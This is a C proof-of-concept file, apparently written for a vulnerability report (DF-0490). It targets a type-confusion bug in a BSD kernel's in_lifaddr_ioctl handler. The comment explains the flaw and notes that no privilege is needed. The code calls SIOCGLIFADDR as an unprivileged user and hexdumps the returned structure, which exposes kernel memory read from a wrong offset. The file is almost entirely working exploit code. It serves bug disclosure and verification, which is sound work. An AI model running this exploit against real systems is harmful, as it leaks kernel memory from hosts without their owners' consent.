DF-0490 / poc_df0490.c
/* * DF-0490 PoC - Type confusion in in_lifaddr_ioctl (SIOCGLIFADDR) * * sys/netinet/in.c:911 uses AF_INET6 inside the IPv4 handler in_lifaddr_ioctl. * The loop skips all IPv4 addresses and matches IPv6 addresses, then casts an * in6_ifaddr* to in_ifaddr* (line 923) -> type confusion. ia_addr is read from * a WRONG offset (in_ifaddr.ia_addr sits ~68 bytes past ifaddr; in6_ifaddr.ia_addr * sits immediately after ifaddr), so bcopy at line 927 copies garbage/wrong-offset * kernel memory to userspace. * * SIOCGLIFADDR has NO privilege check (in.c:443-446 falls straight through), * so this is reachable by an unprivileged user. * * Build: cc -o poc_df0490 poc_df0490.c * Run: ./poc_df0490 [ifname] (default vtnet0) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static void hexdump(const char *label, const void *p, int len) { const unsigned char *b = p; int i; printf("%s (len=%d):\n", label, len); for (i = 0; i < len; i++) { if (i && (i % 16 == 0)) printf("\n"); printf("%02x ", b[i]); } printf("\n"); } int main(int argc, char **argv) { const char *ifname = (argc > 1) ? argv[1] : "vtnet0"; int s, rc; struct if_laddrreq iflr; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 2; } /* First: show our credentials */ printf("uid=%d euid=%d\n", getuid(), geteuid()); /* ---- Test 1: SIOCGLIFADDR (plain, no IFLR_PREFIX) ---- */ memset(&iflr, 0, sizeof(iflr)); strncpy(iflr.iflr_name, ifname, IFNAMSIZ-1); printf("\n=== SIOCGLIFADDR on %s (cmp=0 path) ===\n", ifname); rc = ioctl(s, SIOCGLIFADDR, &iflr); if (rc < 0) { printf("SIOCGLIFADDR FAILED: errno=%d (%s)\n", errno, strerror(errno)); /* EADDRNOTAVAIL means the loop found NO AF_INET6 entry -> skipped all v4 */ if (errno == ENXIO || errno == EADDRNOTAVAIL) printf(" -> loop skipped all IPv4 addrs (type-confusion filter AF_INET6)\n"); } else { struct sockaddr_in *sin = (struct sockaddr_in *)&iflr.addr; printf("SIOCGLIFADDR OK\n"); printf("addr.ss_family = %d (AF_INET=%d AF_INET6=%d)\n", iflr.addr.ss_len ? ((struct sockaddr*)&iflr.addr)->sa_family : -1, AF_INET, AF_INET6); printf("addr.ss_len = %d\n", iflr.addr.ss_len); hexdump("addr raw", &iflr.addr, sizeof(iflr.addr)); if (iflr.addr.ss_len >= sizeof(struct sockaddr_in) && ((struct sockaddr*)&iflr.addr)->sa_family == AF_INET) { printf("decoded IPv4 addr: %s\n", inet_ntoa(sin->sin_addr)); } printf("prefixlen = %d flags=0x%x\n", iflr.prefixlen, iflr.flags); } /* ---- Cross-check: what SIOCGIFADDR returns (the correct IPv4 addr) ---- */ struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ-1); rc = ioctl(s, SIOCGIFADDR, &ifr); if (rc == 0) { struct sockaddr_in *sa = (struct sockaddr_in *)&ifr.ifr_addr; printf("\n[reference] SIOCGIFADDR %s -> %s (the REAL IPv4 addr)\n", ifname, inet_ntoa(sa->sin_addr)); } close(s); return 0; } |